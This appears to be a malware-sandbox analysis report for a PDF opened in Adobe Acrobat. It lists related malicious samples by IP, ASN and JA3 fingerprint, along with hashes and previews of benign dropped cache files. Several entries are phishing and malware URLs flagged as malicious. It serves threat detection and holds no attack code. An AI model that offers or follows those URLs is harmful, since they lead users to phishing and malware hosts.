	ee0b6b037b16b54632b6b37d1fb72727.eml	Get hash	malicious	Unknown	Browse	52.98.227.178
	Email_sending_restriction_[sebastien.morel!](#HOHSM).html	Get hash	malicious	Unknown	Browse	52.98.227.242
	https://www.google.es/url?q=queryrp18(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2fpreview.adope.jp%2fod%2f8gqnmo6zgfuuc6sej4k7rfdswihr8l%2fZnJhbnMuZW5nZWxicmVjaHRAYXJkYWdoZ3JvdXAuY29t$?	Get hash	malicious	Unknown	Browse	52.98.228.18
	https://na4.docusign.net/Signing/EmailStart.aspx?a=5d37a5ce-68e8-4e54-8025-344abf0ce113&etti=24&acct=fa5740a8-777c-4b83-ace8-34f4a6d17395&er=65d28d76-f984-4e81-9fb9-bc94adc3d84f	Get hash	malicious	HTMLPhisher	Browse	52.97.201.2
	View Pdf Doc_0b40e7d2137cd39647abbd9321b34da7.htm	Get hash	malicious	Unknown	Browse	52.98.228.34
	https://geaggda.r.af.d.sendibt2.com/tr/cl/G6qLHi_vqRpNEshmo4Rb0Zi9wTI57XqpRBN9j8dsPzzZwRPQslplmE2NZOV7I4ZyAW8Debk1WJB4vkNN2b2Ymh_xzh3GM7ikV7zFXqNBPGLT_3-ggJ1kozgt2qpczQVJPoanMp2q8VT-Vfp9XDwlA87cx4lPh-ekGo3OmOH1GVhSoreRLRYcOy9-QIzMTEB73P_5lDdW91eGd493vzrT7eGGNz_RQDN5h33uL34k84Zf-XFIybIb1ttQkKbxN5hvQd_5dlX_y4d0yT_KM2VzPr3A0fcsmlHZu3_JktQ8T932jDkv1PITN5Lgv1rTUwsHy3-BpdBMpPjZn3kWrt6TUwpuIJwGTU-yHnFelsoNQCHzwfnGZP4YdL92LyxYOt8PNTGCg27gEMxuIa0RBwD9j9pVGZtxKbGjc3Wo2UqALFneGqf_QC3sGHFr_7zyM0y4CuE2Onwf1-lzIFO6utDvVOq2umljYXy_lJZV4bSKfZeWpWNQ09UKU9JwcRjyD8ICoL-6FiKlYs8puAlM5G8Sk4AqjR-IPw41iIHOdzVbSiJs3a5cnBHhyeO7jx42M7S8htsYpmaO2bMVea40frXVlQ3e3kg	Get hash	malicious	HTMLPhisher	Browse	40.99.217.98
challenges.cloudflare.com	estimate Cost.pdf	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://url.uk.m.mimecastprotect.com/s/1u4eCqxlyukZk7ltZfxHE-ELz?domain=andy-25.simvoly.com	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://cabinetstogollc-my.sharepoint.com/:b:/g/personal/store802_cabinetstogo_com/EYepBlB4QExJsG0U-4jKG4ABoZxLg7rdp0_zjjwabbUc1g?e=q4iRIE&com.microsoft.intune.mam.appmdmmgtstate=2&com.microsoft.intune.mam.policysource=2&com.microsoft.intune.mam.identity=mcle%40novozymes.com&com.microsoft.intune.mam.policy=1&com.micro	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://account.metasystemchat.com/	Get hash	malicious	Unknown	Browse	104.18.94.41
	Secured Audlo_secpod.com_1524702658.html	Get hash	malicious	Unknown	Browse	104.18.95.41
	http://t.co/626Aq6uRYN	Get hash	malicious	Unknown	Browse	104.18.94.41
	Encrypt DOC2024.11.20.1983928 shared with you!.msg	Get hash	malicious	Unknown	Browse	104.18.95.41
	Benefit Enrollment -16oy1xb.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	Demande de proposition du Fondation qu#U00e9b#U00e9coise du cancer.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse	104.18.94.41
bg.microsoft.map.fastly.net	estimate Cost.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	mLi58UzdI2.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	1.e.msi	Get hash	malicious	DanaBot	Browse	199.232.214.172
	F2.exe	Get hash	malicious	BlackMoon	Browse	199.232.214.172
	test2.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	file.exe	Get hash	malicious	Credential Flusher	Browse	199.232.214.172
	ibk0BQaWAo.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	ibk0BQaWAo.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	TS_F97A.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	PWS5JoRGtk.exe	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Payslip-21 November, 2024 ZmPQwjYq1NGSTsWga2.htm	Get hash	malicious	BlackHacker JS Obfuscator	Browse	13.107.246.45
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	40.126.32.138
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	96c27caf-3816-d26f-4af5-19e1d76e6c15.eml	Get hash	malicious	HTMLPhisher	Browse	52.109.89.19
	https://cabinetstogollc-my.sharepoint.com/:b:/g/personal/store802_cabinetstogo_com/EYepBlB4QExJsG0U-4jKG4ABoZxLg7rdp0_zjjwabbUc1g?e=q4iRIE&com.microsoft.intune.mam.appmdmmgtstate=2&com.microsoft.intune.mam.policysource=2&com.microsoft.intune.mam.identity=mcle%40novozymes.com&com.microsoft.intune.mam.policy=1&com.micro	Get hash	malicious	Unknown	Browse	13.107.136.10
	+11375 Caller left Vc MsG 8b1538917f01661e6746a0528d545dbeac3b40a5- 73945.msg	Get hash	malicious	HtmlDropper	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
DEDIPATH-LLCUS	https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b	Get hash	malicious	Unknown	Browse	103.114.163.132
	x86.elf	Get hash	malicious	Unknown	Browse	45.149.222.146
	bin.sh.elf	Get hash	malicious	Mirai	Browse	185.243.57.145
	nuklear.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	193.43.68.31
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	38.143.204.166
	nabarm5.elf	Get hash	malicious	Unknown	Browse	161.8.2.27
	bin.armv7l.elf	Get hash	malicious	Mirai	Browse	84.245.34.238
	12Vjq7Yv2E.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	45.89.110.133
	7WyBcig6e3.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	45.89.110.133
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	84.21.170.63
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Payslip-21 November, 2024 ZmPQwjYq1NGSTsWga2.htm	Get hash	malicious	BlackHacker JS Obfuscator	Browse	13.107.246.45
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	40.126.32.138
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	96c27caf-3816-d26f-4af5-19e1d76e6c15.eml	Get hash	malicious	HTMLPhisher	Browse	52.109.89.19
	https://cabinetstogollc-my.sharepoint.com/:b:/g/personal/store802_cabinetstogo_com/EYepBlB4QExJsG0U-4jKG4ABoZxLg7rdp0_zjjwabbUc1g?e=q4iRIE&com.microsoft.intune.mam.appmdmmgtstate=2&com.microsoft.intune.mam.policysource=2&com.microsoft.intune.mam.identity=mcle%40novozymes.com&com.microsoft.intune.mam.policy=1&com.micro	Get hash	malicious	Unknown	Browse	13.107.136.10
	+11375 Caller left Vc MsG 8b1538917f01661e6746a0528d545dbeac3b40a5- 73945.msg	Get hash	malicious	HtmlDropper	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	ceFgl3jkkk.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Updated Invoice_0755404645-2024_pdf.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	estimate Cost.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	MV BBG MUARA Ship's Particulars.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	CONTRACT COPY PRN00720387_pdf.exe	Get hash	malicious	GuLoader	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 184.28.90.27
	http://bleedingofficecontagion.com	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27
	estimate Cost.pdf	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27
	https://bitly.cx/aMW9O9	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.245.163.56 184.28.90.27
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 184.28.90.27
	https://url.uk.m.mimecastprotect.com/s/1u4eCqxlyukZk7ltZfxHE-ELz?domain=andy-25.simvoly.com	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 184.28.90.27
	http://newvideozones.click	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27
	https://waydetrainers.us/PC.PDF	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 184.28.90.27

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.180807869210899
Encrypted:	false
SSDEEP:	6:HE6rmNIq2PRN2nKuAl9OmbnIFUt8YE6rR0XZmw+YE6rR0FkwORN2nKuAl9OmbjLJ:k6qmvaHAahFUt8/66/+/6G5JHAaSJ
MD5:	CD9957EB06747C857611844743384DEF
SHA1:	45B5C40733B5AD53319C899EF3A5B0E16C21EF2F
SHA-256:	1B8E390CCE341E1A2D362310999B7176A6530C76796AD0082BFECE11A495472E
SHA-512:	84E69224AAD05AEBB0B61033151212844BB97AED32F648AE1659F16B5C78705B5D511B7DEEDE5853CDDADCE03DB1FE941D25AF84D887300187CBF8718F063A6F
Malicious:	false
Reputation:	low
Preview:	2024/11/21-08:43:57.403 1ae4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/11/21-08:43:57.405 1ae4 Recovering log #3.2024/11/21-08:43:57.405 1ae4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.180807869210899
Encrypted:	false
SSDEEP:	6:HE6rmNIq2PRN2nKuAl9OmbnIFUt8YE6rR0XZmw+YE6rR0FkwORN2nKuAl9OmbjLJ:k6qmvaHAahFUt8/66/+/6G5JHAaSJ
MD5:	CD9957EB06747C857611844743384DEF
SHA1:	45B5C40733B5AD53319C899EF3A5B0E16C21EF2F
SHA-256:	1B8E390CCE341E1A2D362310999B7176A6530C76796AD0082BFECE11A495472E
SHA-512:	84E69224AAD05AEBB0B61033151212844BB97AED32F648AE1659F16B5C78705B5D511B7DEEDE5853CDDADCE03DB1FE941D25AF84D887300187CBF8718F063A6F
Malicious:	false
Reputation:	low
Preview:	2024/11/21-08:43:57.403 1ae4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/11/21-08:43:57.405 1ae4 Recovering log #3.2024/11/21-08:43:57.405 1ae4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.186674818348297
Encrypted:	false
SSDEEP:	6:HE6ryVq2PRN2nKuAl9Ombzo2jMGIFUt8YE6rMwgZmw+YE6rGIkwORN2nKuAl9OmT:k6OVvaHAa8uFUt8/6gwg/+/6CI5JHAaU
MD5:	74B63E79670DE2365E4BB3E2DEF19FD5
SHA1:	18D4664A9BC4992EC8E21E628B24879BCEC4DEFE
SHA-256:	5A00C7DD9C4879FE520BFD3AA4D8477DC3E948EA13F6292DA23F35DC9B54C699
SHA-512:	E9A870E3BCFFF7383F3A4B09202318743F75B1D5E143AD50A9913D282D4028B3BB4C01EECA9C5BF96A91F2B0CB0E60413F6896808A133BE553527CF100EE0572
Malicious:	false
Reputation:	low
Preview:	2024/11/21-08:43:57.298 424 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/11/21-08:43:57.301 424 Recovering log #3.2024/11/21-08:43:57.302 424 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.186674818348297
Encrypted:	false
SSDEEP:	6:HE6ryVq2PRN2nKuAl9Ombzo2jMGIFUt8YE6rMwgZmw+YE6rGIkwORN2nKuAl9OmT:k6OVvaHAa8uFUt8/6gwg/+/6CI5JHAaU
MD5:	74B63E79670DE2365E4BB3E2DEF19FD5
SHA1:	18D4664A9BC4992EC8E21E628B24879BCEC4DEFE
SHA-256:	5A00C7DD9C4879FE520BFD3AA4D8477DC3E948EA13F6292DA23F35DC9B54C699
SHA-512:	E9A870E3BCFFF7383F3A4B09202318743F75B1D5E143AD50A9913D282D4028B3BB4C01EECA9C5BF96A91F2B0CB0E60413F6896808A133BE553527CF100EE0572
Malicious:	false
Reputation:	low
Preview:	2024/11/21-08:43:57.298 424 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/11/21-08:43:57.301 424 Recovering log #3.2024/11/21-08:43:57.302 424 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.98213103607894
Encrypted:	false
SSDEEP:	6:YHpoNXR8+eqq59QsDHF4R8HOVWj2HEkAa9a1o3/QBR7Y53h6ubU74MS7PMVKJTnn:YHO8sqMsBdOg2HdAcaq3QYiubrP7E4TX
MD5:	1065FF22B6175C6C33B615BF8C7B6E71
SHA1:	2425D5157EC80677DD7F8C35F3BB77898D319E33
SHA-256:	0D90D422D60FB6BF22E40565728746CE4BA208572BC2F65C60991F84164ADA2B
SHA-512:	0F0B5C73400345693FD726D1064444291EF9599683697D8FCAFADB4DF8FF7A98DD848E5AB0E3D081AB0A6B16C0495CEC5FA779BBDC3EFA1F67B70A56441EA07D
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376756649229592","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":682671},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f64aee7c-f98d-48ef-9bc7-22a10174345d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	403
Entropy (8bit):	4.98213103607894
Encrypted:	false
SSDEEP:	6:YHpoNXR8+eqq59QsDHF4R8HOVWj2HEkAa9a1o3/QBR7Y53h6ubU74MS7PMVKJTnn:YHO8sqMsBdOg2HdAcaq3QYiubrP7E4TX
MD5:	1065FF22B6175C6C33B615BF8C7B6E71
SHA1:	2425D5157EC80677DD7F8C35F3BB77898D319E33
SHA-256:	0D90D422D60FB6BF22E40565728746CE4BA208572BC2F65C60991F84164ADA2B
SHA-512:	0F0B5C73400345693FD726D1064444291EF9599683697D8FCAFADB4DF8FF7A98DD848E5AB0E3D081AB0A6B16C0495CEC5FA779BBDC3EFA1F67B70A56441EA07D
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376756649229592","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":682671},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.227934961468328
Encrypted:	false
SSDEEP:	96:OLSw0bSwIAnrRqLX2rSq1OUxu/0OZ0xRBTxekN8xeDKs98x:OLT0bTIeYa51Ogu/0OZARBT8kN88DKsS
MD5:	FB73E9AA228420B3271770724AE04586
SHA1:	182E4786A932B0B8C9ABB0FBA8E38153F088DC69
SHA-256:	2D042E7E7D558C1B9CE9F5682DE79B338CE8CA679E9119DCC16185106093302F
SHA-512:	434DDCCCE6B98D6616BF39013D8FDE6A24FC85A4015E2F83ABAFD058024E053A627724553934576DB68CF3E34B4240F642491DC320C62F901A90DCACBF27D57D
Malicious:	false
Preview:	*...#................version.1..namespace-e...o................next-map-id.1.Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/.0y.S_r................next-map-id.2.Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/.16.X:r................next-map-id.3.Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/.2.P.@o................next-map-id.4.Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/.346.+^...............Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/....^...............Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/..?&a...............Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/_...a...............Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/...o................next-map-id.5.Pnamespace-07af9ee9_2076_4f12_94b5_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.168201293480565
Encrypted:	false
SSDEEP:	6:HE6rQCVq2PRN2nKuAl9OmbzNMxIFUt8YE6rGgZmw+YE6r2CIkwORN2nKuAl9Ombg:k6ECVvaHAa8jFUt8/6yg/+/6DI5JHAab
MD5:	E9BFC35EA1322CD7D564F2CE3A7BFCFB
SHA1:	DF3C1EB196F131D0E676F336468B11F4D85A3AF8
SHA-256:	CAC3C36CADFE59A2AC443EC49CE66CEE3C73954847B812C0BAC38B10A56A43C9
SHA-512:	44FD6892AA9D8F1A0BDA6E6371FECEEC027FE3FD159309F315DD64457B788BB6B54795A2B03370CEA73709F874A3EF95353CDFDFFF453E275610B9E01BE47255
Malicious:	false
Preview:	2024/11/21-08:43:57.440 424 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/11/21-08:43:57.441 424 Recovering log #3.2024/11/21-08:43:57.442 424 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.168201293480565
Encrypted:	false
SSDEEP:	6:HE6rQCVq2PRN2nKuAl9OmbzNMxIFUt8YE6rGgZmw+YE6r2CIkwORN2nKuAl9Ombg:k6ECVvaHAa8jFUt8/6yg/+/6DI5JHAab
MD5:	E9BFC35EA1322CD7D564F2CE3A7BFCFB
SHA1:	DF3C1EB196F131D0E676F336468B11F4D85A3AF8
SHA-256:	CAC3C36CADFE59A2AC443EC49CE66CEE3C73954847B812C0BAC38B10A56A43C9
SHA-512:	44FD6892AA9D8F1A0BDA6E6371FECEEC027FE3FD159309F315DD64457B788BB6B54795A2B03370CEA73709F874A3EF95353CDFDFFF453E275610B9E01BE47255
Malicious:	false
Preview:	2024/11/21-08:43:57.440 424 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/11/21-08:43:57.441 424 Recovering log #3.2024/11/21-08:43:57.442 424 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241121134401Z-167.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	0.49676047209098256
Encrypted:	false
SSDEEP:	96:gn2vSTlXaNn1LdlbyDwenZzDX1cnK5YPE:g2K057bY8sYs
MD5:	1EB74E88EDFA8A8CB659F7A2AA21386A
SHA1:	75AAD829893AFB53439E72FE0CB859D388A6F933
SHA-256:	6511DDFC2142865341A2C880845B21C332048C9A5A87835528B221C7E538F6FA
SHA-512:	A625C6A05E4D0E1C1B22D8EC740DC2C48D11B4D5C06EEF760DE84A13D5F2D557F7B7EA6FE6027F4BB9FC54EF0E8A00702BF2BB5614AD56E6639B800AE6388C16
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 2, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.291927920232006
Encrypted:	false
SSDEEP:	192:vedRBvVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:veBci5H5FY+EUUUTTcHqFzqFP
MD5:	A4D5FECEFE05F21D6F81ACF4D9A788CF
SHA1:	1A9AC236C80F2A2809F7DE374072E2FCCA5A775C
SHA-256:	83BE4623D80FFB402FBDEC4125671DF532845A3828A1B378D99BD243A4FD8FF2
SHA-512:	FF106C6B9E1EA4B1F3E3AB01FAEA21BA24A885E63DDF0C36EB0A8C3C89A9430FE676039C076C50D7C46DC4E809F6A7E35A4BFED64D9033FEBD6121AC547AA5E9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	16928
Entropy (8bit):	1.2148819183037374
Encrypted:	false
SSDEEP:	24:7+t8XqLi+zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzm+ZG:7M0qLmFTIF3XmHjBoGGR+jMz+Lhz
MD5:	B50B616EFE6E541BF3FB32DAAA2590D0
SHA1:	D9DA6C583510C96097D548C0B307B2E6ECCD5120
SHA-256:	05FF1550E143084BE337226D7BFFC4D13B1DD72D37B04A499E4A776B5E227A80
SHA-512:	EEF8E8B9974E6B5715D9B598B6B82B438A5BC721E7DBEBC9C8261987F36611E6C79FDAF4BB02463E8463BDF1DF32DC554D30E4ACA43B2659A21EEB51C6A10F93
Malicious:	false
Preview:	.... .c......._.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
